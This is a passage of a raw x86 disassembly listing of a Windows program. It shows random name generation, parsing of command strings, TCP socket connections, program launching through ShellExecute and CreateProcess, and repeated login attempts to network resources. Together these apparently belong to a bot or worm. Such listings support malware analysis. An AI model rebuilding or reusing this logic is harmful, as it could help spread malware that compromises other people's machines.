0Ah idiv ecx lea ecx, [esp+50h+var_3C] push edx call sub_401140 call esi ; rand cdq mov ecx, 0Ah idiv ecx lea ecx, [esp+50h+var_3C] push edx call sub_401140 mov esi, [esp+50h+arg_0] lea edx, [esp+50h+var_3C] push edx mov ecx, esi call sub_4014D3 mov [esp+50h+var_40], 1 lea ecx, [esp+50h+var_3C] mov byte ptr [esp+50h+var_4], 0 call sub_401226 pop ebp mov eax, esi pop edi pop esi pop ebx mov ecx, [esp+40h+var_C] mov large fs:0, ecx add esp, 40h retn ; --------------------------------------------------------------------------- loc_41BBAF: ; CODE XREF: sub_41BA50+2Aj lea ecx, [esp+4Ch+var_24] call sub_40142E mov ebx, 2 mov [esp+4Ch+var_4], ebx nop call near ptr 27F0C4Bh push eax nop call near ptr 77C371BCh mov edi, dword_511AC8 add esp, 4 call edi ; rand cdq mov ecx, 3 idiv ecx lea ecx, [esp+4Ch+var_24] mov esi, edx mov edx, [esp+4Ch+arg_4] push edx add esi, 6 call sub_4015E1 test esi, esi jle short loc_41BC4E loc_41BBF8: ; CODE XREF: sub_41BA50+1FCj lea ecx, [esp+4Ch+var_3C] call sub_40142E lea eax, [esp+4Ch+var_24] lea ecx, [esp+4Ch+var_3C] push eax mov byte ptr [esp+50h+var_4], 3 call sub_401FDC call edi ; rand cdq mov ecx, 1Ah idiv ecx lea ecx, [esp+4Ch+var_3C] add edx, 61h push edx call sub_4017EE push eax lea edx, [esp+54h+var_24] push offset dword_444E54 push edx call sub_40102D add esp, 10h lea ecx, [esp+4Ch+var_3C] mov byte ptr [esp+4Ch+var_4], bl call sub_401226 dec esi jnz short loc_41BBF8 loc_41BC4E: ; CODE XREF: sub_41BA50+1A6j mov esi, [esp+4Ch+arg_0] lea eax, [esp+4Ch+var_24] push eax mov ecx, esi call sub_4014D3 lea ecx, [esp+4Ch+var_24] mov [esp+4Ch+var_40], 1 mov byte ptr [esp+4Ch+var_4], 0 call sub_401226 mov ecx, [esp+4Ch+var_C] mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx add esp, 40h retn sub_41BA50 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 90h dup(0CCh) ; --------------------------------------------------------------------------- loc_41BD20: ; CODE XREF: ___:00401573j mov al, [esp+4] cmp al, 20h jz short loc_41BD2F cmp al, 9 jz short loc_41BD2F xor al, al retn ; --------------------------------------------------------------------------- loc_41BD2F: ; CODE XREF: ___:0041BD26j ; ___:0041BD2Aj mov al, 1 retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_41BD50: ; CODE XREF: ___:00401EF6j mov eax, [esp+4] push offset dword_444E5C push eax nop call near ptr 77C3F010h add esp, 8 test eax, eax jz short loc_41BD74 push eax call near ptr 77C40AB1h nop add esp, 4 mov al, 1 retn ; --------------------------------------------------------------------------- loc_41BD74: ; CODE XREF: ___:0041BD65j xor al, al retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41BD90 proc near ; CODE XREF: sub_401483j var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_20 = byte ptr -20h arg_0 = dword ptr 4 sub esp, 30h push ebx push ebp push esi push edi mov edi, [esp+40h+arg_0] test edi, edi jz loc_41BFEE mov esi, offset byte_448F30 mov eax, edi loc_41BDAA: ; CODE XREF: sub_41BD90+3Cj mov dl, [eax] mov bl, [esi] mov cl, dl cmp dl, bl jnz short loc_41BDD2 test cl, cl jz short loc_41BDCE mov dl, [eax+1] mov bl, [esi+1] mov cl, dl cmp dl, bl jnz short loc_41BDD2 add eax, 2 add esi, 2 test cl, cl jnz short loc_41BDAA loc_41BDCE: ; CODE XREF: sub_41BD90+26j xor eax, eax jmp short loc_41BDD7 ; --------------------------------------------------------------------------- loc_41BDD2: ; CODE XREF: sub_41BD90+22j ; sub_41BD90+32j sbb eax, eax sbb eax, 0FFFFFFFFh loc_41BDD7: ; CODE XREF: sub_41BD90+40j test eax, eax jz loc_41BFEE push 20h lea eax, [esp+44h+var_20] push edi push eax nop call near ptr 77C47A90h mov edi, dword_511B00 lea ecx, [esp+4Ch+var_20] push offset dword_4447F8 push ecx call edi ; strtok add esp, 14h mov [esp+40h+var_30], eax test eax, eax jz loc_41BFEE mov ebx, 1 lea esi, [esp+40h+var_2C] loc_41BE17: ; CODE XREF: sub_41BD90+A4j push offset dword_4447F8 push 0 call edi ; strtok add esp, 8 mov [esi], eax test eax, eax jz loc_41BFEE inc ebx add esi, 4 cmp ebx, 4 jl short loc_41BE17 mov ebp, [esp+40h+var_30] mov esi, offset dword_444E78 mov eax, ebp loc_41BE41: ; CODE XREF: sub_41BD90+D3j mov cl, [eax] mov bl, [esi] mov dl, cl cmp cl, bl jnz short loc_41BE69 test dl, dl jz short loc_41BE65 mov cl, [eax+1] mov bl, [esi+1] mov dl, cl cmp cl, bl jnz short loc_41BE69 add eax, 2 add esi, 2 test dl, dl jnz short loc_41BE41 loc_41BE65: ; CODE XREF: sub_41BD90+BDj xor eax, eax jmp short loc_41BE6E ; --------------------------------------------------------------------------- loc_41BE69: ; CODE XREF: sub_41BD90+B9j ; sub_41BD90+C9j sbb eax, eax sbb eax, 0FFFFFFFFh loc_41BE6E: ; CODE XREF: sub_41BD90+D7j test eax, eax jnz short loc_41BE7C pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 30h retn ; --------------------------------------------------------------------------- loc_41BE7C: ; CODE XREF: sub_41BD90+E0j mov esi, offset dword_444E74 mov eax, ebp loc_41BE83: ; CODE XREF: sub_41BD90+115j mov cl, [eax] mov bl, [esi] mov dl, cl cmp cl, bl jnz short loc_41BEAB test dl, dl jz short loc_41BEA7 mov cl, [eax+1] mov bl, [esi+1] mov dl, cl cmp cl, bl jnz short loc_41BEAB add eax, 2 add esi, 2 test dl, dl jnz short loc_41BE83 loc_41BEA7: ; CODE XREF: sub_41BD90+FFj xor eax, eax jmp short loc_41BEB0 ; --------------------------------------------------------------------------- loc_41BEAB: ; CODE XREF: sub_41BD90+FBj ; sub_41BD90+10Bj sbb eax, eax sbb eax, 0FFFFFFFFh loc_41BEB0: ; CODE XREF: sub_41BD90+119j mov edi, [esp+40h+var_2C] test eax, eax jnz short loc_41BEFA mov esi, offset dword_444E70 mov edx, edi loc_41BEBF: ; CODE XREF: sub_41BD90+151j mov al, [edx] mov cl, [esi] mov bl, al cmp al, cl jnz short loc_41BEE7 test bl, bl jz short loc_41BEE3 mov cl, [edx+1] mov al, [esi+1] mov bl, cl cmp cl, al jnz short loc_41BEE7 add edx, 2 add esi, 2 test bl, bl jnz short loc_41BEBF loc_41BEE3: ; CODE XREF: sub_41BD90+13Bj xor edx, edx jmp short loc_41BEEC ; --------------------------------------------------------------------------- loc_41BEE7: ; CODE XREF: sub_41BD90+137j ; sub_41BD90+147j sbb edx, edx sbb edx, 0FFFFFFFFh loc_41BEEC: ; CODE XREF: sub_41BD90+155j test edx, edx jnz short loc_41BEFA pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 30h retn ; --------------------------------------------------------------------------- loc_41BEFA: ; CODE XREF: sub_41BD90+126j ; sub_41BD90+15Ej mov esi, offset dword_444E6C mov edx, ebp loc_41BF01: ; CODE XREF: sub_41BD90+193j mov al, [edx] mov cl, [esi] mov bl, al cmp al, cl jnz short loc_41BF29 test bl, bl jz short loc_41BF25 mov cl, [edx+1] mov al, [esi+1] mov bl, cl cmp cl, al jnz short loc_41BF29 add edx, 2 add esi, 2 test bl, bl jnz short loc_41BF01 loc_41BF25: ; CODE XREF: sub_41BD90+17Dj xor edx, edx jmp short loc_41BF2E ; --------------------------------------------------------------------------- loc_41BF29: ; CODE XREF: sub_41BD90+179j ; sub_41BD90+189j sbb edx, edx sbb edx, 0FFFFFFFFh loc_41BF2E: ; CODE XREF: sub_41BD90+197j test edx, edx jnz short loc_41BF74 mov esi, offset dword_444E68 mov edx, edi loc_41BF39: ; CODE XREF: sub_41BD90+1CBj mov al, [edx] mov cl, [esi] mov bl, al cmp al, cl jnz short loc_41BF61 test bl, bl jz short loc_41BF5D mov cl, [edx+1] mov al, [esi+1] mov bl, cl cmp cl, al jnz short loc_41BF61 add edx, 2 add esi, 2 test bl, bl jnz short loc_41BF39 loc_41BF5D: ; CODE XREF: sub_41BD90+1B5j xor edx, edx jmp short loc_41BF66 ; --------------------------------------------------------------------------- loc_41BF61: ; CODE XREF: sub_41BD90+1B1j ; sub_41BD90+1C1j sbb edx, edx sbb edx, 0FFFFFFFFh loc_41BF66: ; CODE XREF: sub_41BD90+1CFj test edx, edx jnz short loc_41BF74 pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 30h retn ; --------------------------------------------------------------------------- loc_41BF74: ; CODE XREF: sub_41BD90+1A0j ; sub_41BD90+1D8j mov esi, offset dword_444E64 mov ecx, ebp loc_41BF7B: ; CODE XREF: sub_41BD90+20Dj mov al, [ecx] mov bl, [esi] mov dl, al cmp al, bl jnz short loc_41BFA3 test dl, dl jz short loc_41BF9F mov al, [ecx+1] mov bl, [esi+1] mov dl, al cmp al, bl jnz short loc_41BFA3 add ecx, 2 add esi, 2 test dl, dl jnz short loc_41BF7B loc_41BF9F: ; CODE XREF: sub_41BD90+1F7j xor ecx, ecx jmp short loc_41BFA8 ; --------------------------------------------------------------------------- loc_41BFA3: ; CODE XREF: sub_41BD90+1F3j ; sub_41BD90+203j sbb ecx, ecx sbb ecx, 0FFFFFFFFh loc_41BFA8: ; CODE XREF: sub_41BD90+211j test ecx, ecx jnz short loc_41BFEE mov esi, offset dword_444E60 mov eax, edi loc_41BFB3: ; CODE XREF: sub_41BD90+245j mov dl, [eax] mov bl, [esi] mov cl, dl cmp dl, bl jnz short loc_41BFDB test cl, cl jz short loc_41BFD7 mov dl, [eax+1] mov bl, [esi+1] mov cl, dl cmp dl, bl jnz short loc_41BFDB add eax, 2 add esi, 2 test cl, cl jnz short loc_41BFB3 loc_41BFD7: ; CODE XREF: sub_41BD90+22Fj xor eax, eax jmp short loc_41BFE0 ; --------------------------------------------------------------------------- loc_41BFDB: ; CODE XREF: sub_41BD90+22Bj ; sub_41BD90+23Bj sbb eax, eax sbb eax, 0FFFFFFFFh loc_41BFE0: ; CODE XREF: sub_41BD90+249j test eax, eax jnz short loc_41BFEE pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 30h retn ; --------------------------------------------------------------------------- loc_41BFEE: ; CODE XREF: sub_41BD90+Dj ; sub_41BD90+49j ... pop edi pop esi pop ebp xor al, al pop ebx add esp, 30h retn sub_41BD90 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 0A0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41C0A0 proc near ; CODE XREF: sub_402022j var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 10h push ebx push esi push 6 push 1 push 2 xor bl, bl nop call near ptr 71AB3B91h mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_41C108 cmp esi, 0FFFFFFFFh jz short loc_41C108 mov eax, [esp+18h+arg_0] push eax nop call near ptr 71AB2BF4h mov ecx, [esp+18h+arg_4] mov [esp+18h+var_C], eax push ecx nop call near ptr 71AB2B66h lea edx, [esp+18h+var_10] push 10h push edx push esi mov [esp+24h+var_E], ax mov [esp+24h+var_10], 2 nop call near ptr 71AB406Ah test eax, eax jnz short loc_41C0F9 mov bl, 1 loc_41C0F9: ; CODE XREF: sub_41C0A0+55j push esi nop call near ptr 71AB9639h mov al, bl pop esi pop ebx add esp, 10h retn ; --------------------------------------------------------------------------- loc_41C108: ; CODE XREF: sub_41C0A0+18j ; sub_41C0A0+1Dj pop esi xor al, al pop ebx add esp, 10h retn sub_41C0A0 endp ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41C130 proc near ; CODE XREF: sub_401299j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push 0 push 0 push eax push ecx push offset aOpen ; "open" push 0 call near ptr 7CA41110h nop cmp eax, 20h setnl al retn sub_41C130 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41C170 proc near ; CODE XREF: sub_402167j var_54 = byte ptr -54h var_44 = dword ptr -44h var_14 = word ptr -14h arg_0 = dword ptr 4 sub esp, 54h push edi mov ecx, 11h xor eax, eax lea edi, [esp+58h+var_44] rep stosd mov [esp+58h+var_14], ax lea eax, [esp+58h+var_54] mov edx, [esp+58h+arg_0] lea ecx, [esp+58h+var_44] push eax push ecx push 0 push 0 push 28h push 0 push 0 push 0 push edx push 0 mov [esp+80h+var_44], 44h call near ptr 2800565h nop test eax, eax setnle al pop edi add esp, 54h retn sub_41C170 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_41C1E0: ; CODE XREF: ___:00401884j sub esp, 354h mov eax, off_444E84 mov ecx, off_444E88 mov [esp+0], eax mov al, byte_448F30 push esi push edi mov [esp+0Ch], ecx mov [esp+14h], al mov ecx, 45h xor eax, eax lea edi, [esp+15h] mov edx, dword_444E8C rep stosd mov ecx, off_444E7C mov [esp+10h], edx mov dx, word_444E80 mov [esp+12Ch], ecx stosw stosb mov ecx, 8Ah xor eax, eax lea edi, [esp+132h] mov [esp+130h], dx rep stosd mov ecx, [esp+360h] push 0FFh stosw lea eax, [esp+18h] xor edi, edi push eax push 0FFFFFFFFh push ecx push edi push edi nop call near ptr 27C0000h mov esi, dword_511AB8 lea edx, [esp+14h] lea eax, [esp+12Ch] push edx push eax call esi ; wcscat lea ecx, [esp+10h] lea edx, [esp+134h] push ecx push edx call esi ; wcscat mov esi, [esp+374h] add esp, 10h lea eax, [esp+12Ch] push edi push offset dword_50DB4C push offset dword_50DB4C push esi mov [esi+4], edi mov [esi+10h], edi mov [esi+14h], eax mov [esi+1Ch], edi call sub_43829E ; --------------------------------------------------------------------------- cmp eax, 5 jz short loc_41C2C8 cmp eax, 4C3h jnz short loc_41C2D1 loc_41C2C8: ; CODE XREF: ___:0041C2BFj push edi push edi push edi push esi call sub_43829E ; --------------------------------------------------------------------------- loc_41C2D1: ; CODE XREF: ___:0041C2C6j pop edi cmp eax, 5 pop esi jz short loc_41C2E8 cmp eax, 4C3h jz short loc_41C2E8 mov al, 1 add esp, 354h retn ; --------------------------------------------------------------------------- loc_41C2E8: ; CODE XREF: ___:0041C2D6j ; ___:0041C2DDj xor al, al add esp, 354h retn ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_41C350: ; CODE XREF: ___:00401EE7j sub esp, 354h mov eax, off_444E84 mov ecx, off_444E88 mov [esp+0], eax mov al, byte_448F30 push esi push edi mov [esp+0Ch], ecx mov [esp+14h], al mov ecx, 45h xor eax, eax lea edi, [esp+15h] mov edx, dword_444E8C rep stosd mov ecx, off_444E7C mov [esp+10h], edx mov dx, word_444E80 mov [esp+12Ch], ecx stosw stosb mov ecx, 8Ah xor eax, eax lea edi, [esp+132h] mov [esp+130h], dx rep stosd mov ecx, [esp+360h] push 0FFh stosw lea eax, [esp+18h] push eax push 0FFFFFFFFh push ecx push 0 push 0 call near ptr 27C0000h nop mov esi, dword_511AB8 lea edx, [esp+14h] lea eax, [esp+12Ch] push edx push eax call esi ; wcscat lea ecx, [esp+10h] lea edx, [esp+134h] push ecx push edx call esi ; wcscat add esp, 10h lea eax, [esp+12Ch] push 0 push 0 push eax call sub_4382A4 ; --------------------------------------------------------------------------- test eax, eax jz short loc_41C438 mov esi, dword_5118D8 loc_41C41C: ; CODE XREF: ___:0041C436j push 7D0h call esi push 0 lea ecx, [esp+130h] push 0 push ecx call sub_4382A4 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_41C41C loc_41C438: ; CODE XREF: ___:0041C414j pop edi mov al, 1 pop esi add esp, 354h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_41C490 proc near ; CODE XREF: sub_401D93j var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41C490 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push edi push 0 push 0Ch push 4 push 4Fh push 10h push 14h lea eax, [esp+5Ch+var_3C] push 6 mov esi, ecx push eax call sub_4019C4 add esp, 20h push esi mov ecx, eax mov [esp+48h+var_4], 0 call sub_4017EE lea ecx, [esi+0BCh] push eax push ecx mov ecx, offset dword_449118 call sub_40159B sub_41C490 endp ; --------------------------------------------------------------------------- or edi, 0FFFFFFFFh lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 5 push 18h push 5 push 4Fh push 10h push 14h lea edx, [esp+24h] push 6 push edx call sub_4019C4 add esp, 24h push esi mov ecx, eax mov dword ptr [esp+44h], 1 call sub_4017EE push eax lea eax, [esi+118h] push eax mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 10h push 15h push 4Fh push 10h push 14h lea ecx, [esp+20h] push 6 push ecx call sub_4019C4 add esp, 20h push esi mov ecx, eax mov dword ptr [esp+44h], 2 call sub_4017EE lea edx, [esi+0EAh] push eax push edx mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 0Ch push 4 push 4Fh push 10h push 14h push 14h lea eax, [esp+24h] push 8 push eax call sub_4019C4 add esp, 24h push esi mov ecx, eax mov dword ptr [esp+44h], 3 call sub_4017EE lea ecx, [esi+4] push eax push ecx mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 5 push 18h push 5 push 4Fh push 10h push 14h push 14h lea edx, [esp+28h] push 8 push edx call sub_4019C4 add esp, 28h push esi mov ecx, eax mov dword ptr [esp+44h], 4 call sub_4017EE push eax lea eax, [esi+60h] push eax mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 5 push 14h push 1 push 4 push 10h push 15h push 4Fh push 10h push 14h push 14h lea ecx, [esp+4Ch] push 8 push ecx call sub_4019C4 add esp, 34h push esi mov ecx, eax mov dword ptr [esp+44h], 5 call sub_4017EE add esi, 32h push eax push esi mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+20h] mov [esp+40h], edi call sub_401226 mov ecx, [esp+38h] pop edi pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 80h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41C710 proc near ; CODE XREF: sub_401064j var_111 = byte ptr -111h var_110 = dword ptr -110h var_10C = byte ptr -10Ch var_F4 = byte ptr -0F4h var_DC = byte ptr -0DCh var_C4 = byte ptr -0C4h var_AC = byte ptr -0ACh var_94 = byte ptr -94h var_7C = byte ptr -7Ch var_67 = byte ptr -67h var_52 = byte ptr -52h var_3D = byte ptr -3Dh var_28 = dword ptr -28h var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 push 0FFFFFFFFh push offset SEH_41C710 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 108h push ebx push ebp mov ebp, ecx push esi push edi lea ecx, [esp+124h+var_10C] call sub_40142E lea ecx, [esp+124h+var_DC] mov [esp+124h+var_4], 0 call sub_40142E lea ecx, [esp+124h+var_AC] mov byte ptr [esp+124h+var_4], 1 call sub_40142E lea ecx, [esp+124h+var_94] mov byte ptr [esp+124h+var_4], 2 call sub_40142E lea ecx, [esp+124h+var_C4] mov byte ptr [esp+124h+var_4], 3 call sub_40142E lea ecx, [esp+124h+var_7C] mov byte ptr [esp+124h+var_4], 4 call sub_401B4A mov esi, [esp+124h+arg_0] mov bl, 5 lea ecx, [ebp+8Eh] mov byte ptr [esp+124h+var_4], bl lea edi, [esi+7Eh] call sub_4017EE push eax mov ecx, edi call sub_4012EE lea ecx, [ebp+4] call sub_4017EE push eax mov ecx, edi call sub_4012EE test eax, eax jnz loc_41C93C push offset asc_444600 ; " " lea eax, [esp+128h+var_F4] push 1 push eax mov ecx, esi call sub_4016B8 lea ecx, [esp+124h+var_7C] mov byte ptr [esp+124h+var_4], 6 push ecx mov ecx, eax call sub_40168B push eax call sub_401947 add esp, 8 lea ecx, [esp+124h+var_F4] test al, al setz [esp+124h+var_111] mov byte ptr [esp+124h+var_4], bl call sub_401226 mov al, [esp+124h+var_111] test al, al jnz loc_41D2A1 lea edx, [esp+124h+var_67] lea ecx, [esp+124h+var_10C] push edx call sub_401FDC push offset asc_444C64 ; ":" lea ecx, [esp+128h+var_10C] call sub_401AAF mov eax, [esp+124h+var_28] lea ecx, [esp+124h+var_10C] push eax call sub_401140 lea ecx, [esp+124h+var_24] push ecx lea ecx, [esp+128h+var_DC] call sub_401FDC push 1 push offset asc_444600 ; " " lea edx, [esp+12Ch+var_F4] push 2 push edx mov ecx, esi call sub_4011EA push eax lea ecx, [esp+128h+var_C4] mov byte ptr [esp+128h+var_4], 7 call sub_401FDC lea ecx, [esp+124h+var_F4] mov byte ptr [esp+124h+var_4], bl call sub_401226 push 94h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+124h+var_110], eax test eax, eax mov byte ptr [esp+124h+var_4], 8 jz short loc_41C8CC mov ecx, eax call sub_4021E9 mov edi, eax jmp short loc_41C8CE ; --------------------------------------------------------------------------- loc_41C8CC: ; CODE XREF: sub_41C710+1AFj xor edi, edi loc_41C8CE: ; CODE XREF: sub_41C710+1BAj lea eax, [esp+124h+var_10C] lea ecx, [edi+11h] push eax mov byte ptr [esp+128h+var_4], bl call sub_401FDC lea ecx, [esp+124h+var_DC] push ecx lea ecx, [edi+26h] call sub_401FDC lea edx, [esp+124h+var_C4] lea ecx, [edi+65h] push edx call sub_401FDC lea eax, [esi+69h] lea ecx, [edi+7Ah] push eax call sub_401FDC mov byte ptr [edi+8Fh], 0 mov byte ptr [edi+90h], 0 mov byte ptr [edi+91h], 0 mov cl, [esi+93h] mov [edi+92h], cl mov dl, [esi+94h] mov ecx, edi mov [edi+93h], dl call sub_4013DE loc_41C93C: ; CODE XREF: sub_41C710+C0j lea ecx, [ebp+60h] call sub_4017EE push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_41CABB push offset asc_444600 ; " " lea eax, [esp+128h+var_F4] push 1 push eax mov ecx, esi call sub_4016B8 lea ecx, [esp+124h+var_7C] mov byte ptr [esp+124h+var_4], 9 push ecx mov ecx, eax call sub_40168B push eax call sub_401947 add esp, 8 lea ecx, [esp+124h+var_F4] test al, al setz [esp+124h+var_111] mov byte ptr [esp+124h+var_4], bl call sub_401226 mov al, [esp+124h+var_111] test al, al jnz loc_41D2A1 lea edx, [esp+124h+var_67] lea ecx, [esp+124h+var_10C] push edx call sub_401FDC push offset asc_444C64 ; ":" lea ecx, [esp+128h+var_10C] call sub_401AAF mov eax, [esp+124h+var_28] lea ecx, [esp+124h+var_10C] push eax call sub_401140 lea ecx, [esp+124h+var_24] push ecx lea ecx, [esp+128h+var_DC] call sub_401FDC push 1 push offset asc_444600 ; " " lea edx, [esp+12Ch+var_F4] push 2 push edx mov ecx, esi call sub_4011EA push eax lea ecx, [esp+128h+var_C4] mov byte ptr [esp+128h+var_4], 0Ah call sub_401FDC lea ecx, [esp+124h+var_F4] mov byte ptr [esp+124h+var_4], bl call sub_401226 push 94h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+124h+var_110], eax test eax, eax mov byte ptr [esp+124h+var_4], 0Bh jz short loc_41CA4B mov ecx, eax call sub_4021E9 mov edi, eax jmp short loc_41CA4D ; --------------------------------------------------------------------------- loc_41CA4B: ; CODE XREF: sub_41C710+32Ej xor edi, edi loc_41CA4D: ; CODE XREF: sub_41C710+339j lea eax, [esp+124h+var_10C] lea ecx, [edi+11h] push eax mov byte ptr [esp+128h+var_4], bl call sub_401FDC lea ecx, [esp+124h+var_DC] push ecx lea ecx, [edi+26h] call sub_401FDC lea edx, [esp+124h+var_C4] lea ecx, [edi+65h] push edx call sub_401FDC lea eax, [esi+69h] lea ecx, [edi+7Ah] push eax call sub_401FDC mov byte ptr [edi+8Fh], 1 mov byte ptr [edi+90h], 0 mov byte ptr [edi+91h], 0 mov cl, [esi+93h] mov [edi+92h], cl mov dl, [esi+94h] mov ecx, edi mov [edi+93h], dl call sub_4013DE loc_41CABB: ; CODE XREF: sub_41C710+23Fj lea ecx, [ebp+32h] call sub_4017EE push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_41CCF6 push offset asc_444600 ; " " lea eax, [esp+128h+var_F4] push 1 push eax mov ecx, esi call sub_4016B8 lea ecx, [esp+124h+var_7C] mov byte ptr [esp+124h+var_4], 0Ch push ecx mov ecx, eax call sub_40168B push eax call sub_401947 add esp, 8 lea ecx, [esp+124h+var_F4] test al, al setz [esp+124h+var_111] mov byte ptr [esp+124h+var_4], bl call sub_401226 mov al, [esp+124h+var_111] test al, al jnz loc_41D2A1 lea edx, [esp+124h+var_67] lea ecx, [esp+124h+var_10C] push edx call sub_401FDC push offset asc_444C64 ; ":" lea ecx, [esp+128h+var_10C] call sub_401AAF mov eax, [esp+124h+var_28] lea ecx, [esp+124h+var_10C] push eax call sub_401140 lea ecx, [esp+124h+var_24] push ecx lea ecx, [esp+128h+var_DC] call sub_401FDC push 1 push offset asc_444600 ; " " lea edx, [esp+12Ch+var_F4] push 2 push edx mov ecx, esi call sub_4011EA push eax lea ecx, [esp+128h+var_C4] mov byte ptr [esp+128h+var_4], 0Dh call sub_401FDC lea ecx, [esp+124h+var_F4] mov byte ptr [esp+124h+var_4], bl call sub_401226 push offset asc_444600 ; " " lea eax, [esp+128h+var_F4] push 3 push eax mov ecx, esi call sub_4016B8 push offset word_44955A mov ecx, eax mov byte ptr [esp+128h+var_4], 0Eh call sub_401B86 test eax, eax lea ecx, [esp+124h+var_F4] mov byte ptr [esp+124h+var_4], bl setz [esp+124h+var_111] call sub_401226 mov al, [esp+124h+var_111] test al, al jz short loc_41CC5E lea ecx, [esp+124h+var_7C] mov byte ptr [esp+124h+var_4], 4 call sub_4014BA lea ecx, [esp+124h+var_C4] mov byte ptr [esp+124h+var_4], 3 call sub_401226 lea ecx, [esp+124h+var_94] mov byte ptr [esp+124h+var_4], 2 call sub_401226 lea ecx, [esp+124h+var_AC] mov byte ptr [esp+124h+var_4], 1 call sub_401226 lea ecx, [esp+124h+var_DC] mov byte ptr [esp+124h+var_4], 0 call sub_401226 lea ecx, [esp+124h+var_10C] mov [esp+124h+var_4], 0FFFFFFFFh call sub_401226 xor al, al jmp loc_41D312 ; --------------------------------------------------------------------------- loc_41CC5E: ; CODE XREF: sub_41C710+4D6j push 94h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+124h+var_110], eax test eax, eax mov byte ptr [esp+124h+var_4], 0Fh jz short loc_41CC86 mov ecx, eax call sub_4021E9 mov edi, eax jmp short loc_41CC88 ; --------------------------------------------------------------------------- loc_41CC86: ; CODE XREF: sub_41C710+569j xor edi, edi loc_41CC88: ; CODE XREF: sub_41C710+574j lea ecx, [esp+124h+var_10C] mov byte ptr [esp+124h+var_4], bl push ecx lea ecx, [edi+11h] call sub_401FDC lea edx, [esp+124h+var_DC] lea ecx, [edi+26h] push edx call sub_401FDC lea eax, [esp+124h+var_C4] lea ecx, [edi+65h] push eax call sub_401FDC lea ecx, [esi+69h] push ecx lea ecx, [edi+7Ah] call sub_401FDC mov byte ptr [edi+8Fh], 0 mov byte ptr [edi+90h], 1 mov byte ptr [edi+91h], 0 mov dl, [esi+93h] mov [edi+92h], dl mov al, [esi+94h] mov ecx, edi mov [edi+93h], al call sub_4013DE loc_41CCF6: ; CODE XREF: sub_41C710+3BEj lea ecx, [ebp+0BCh] call sub_4017EE push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_41CE9B push offset asc_444600 ; " " lea ecx, [esp+128h+var_F4] push 1 push ecx mov ecx, esi call sub_4016B8 lea edx, [esp+124h+var_7C] mov ecx, eax push edx mov byte ptr [esp+128h+var_4], 10h call sub_40168B push eax call sub_401947 add esp, 8 lea ecx, [esp+124h+var_F4] test al, al setz [esp+124h+var_111] mov byte ptr [esp+124h+var_4], bl call sub_401226 mov al, [esp+124h+var_111] test al, al jnz loc_41D2A1 lea eax, [esp+124h+var_52] lea ecx, [esp+124h+var_AC] push eax call sub_401FDC lea ecx, [esp+124h+var_3D] push ecx lea ecx, [esp+128h+var_94] call sub_401FDC lea edx, [esp+124h+var_67] lea ecx, [esp+124h+var_10C] push edx call sub_401FDC lea eax, [esp+124h+var_24] lea ecx, [esp+124h+var_DC] push eax call sub_401FDC push 1 push offset asc_444600 ; " " lea ecx, [esp+12Ch+var_F4] push 2 push ecx mov ecx, esi call sub_4011EA push eax lea ecx, [esp+128h+var_C4] mov byte ptr [esp+128h+var_4], 11h call sub_401FDC lea ecx, [esp+124h+var_F4] mov byte ptr [esp+124h+var_4], bl call sub_401226 push 94h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+124h+var_110], eax test eax, eax mov byte ptr [esp+124h+var_4], 12h jz short loc_41CE0E mov ecx, eax call sub_4021E9 mov edi, eax jmp short loc_41CE10 ; 